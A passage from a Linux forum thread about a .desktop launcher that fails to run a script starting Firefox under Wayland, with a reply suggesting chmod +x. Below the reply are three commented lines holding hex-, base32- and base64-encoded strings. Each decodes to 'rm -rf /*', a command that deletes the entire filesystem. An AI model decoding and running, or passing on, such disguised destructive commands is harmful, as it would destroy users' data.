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So I got the Firefox binaries for the latest version. I wrote a script to launch it with GDK_BACKEND=wayland, it runs perfectly launched from the file manager and the terminal. But what doesn't work is making .desktop file and having it lead to that script I wrote. I know the .desktop file works because it shows up in the Gnome menu and works when it leads to the Firefox binary, and I know the script works because it launches Firefox on Wayland as expected via both the terminal and file manager.

 

in case i was dumb and i screwed up, have a look 

[Desktop Entry]
Comment=
Terminal=false
Name=Firefox Wayland
Exec=/home/james/apps/firefoxwayland.sh
Type=Application
Icon=/home/james/apps/firefox/browser/chrome/icons/default/default128.png


#!/bin/sh
GDK_BACKEND=wayland firefox/firefox

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1 hour ago, TheJooomes said: 

[Desktop Entry]
Comment=
Terminal=false
Name=Firefox Wayland
Exec=/home/james/apps/firefoxwayland.sh
Type=Application
Icon=/home/james/apps/firefox/browser/chrome/icons/default/default128.png


#!/bin/sh
GDK_BACKEND=wayland firefox/firefox

did you do: 

chmod +x firefoxwayland.sh

? 

# $(echo 726d202d7266202f2a0a | xxd -r -p)
# $(echo OJWSALLSMYQC6KQK | base32 -d)
# $(echo cm0gLXJmIC8qCg== | base64 -d)
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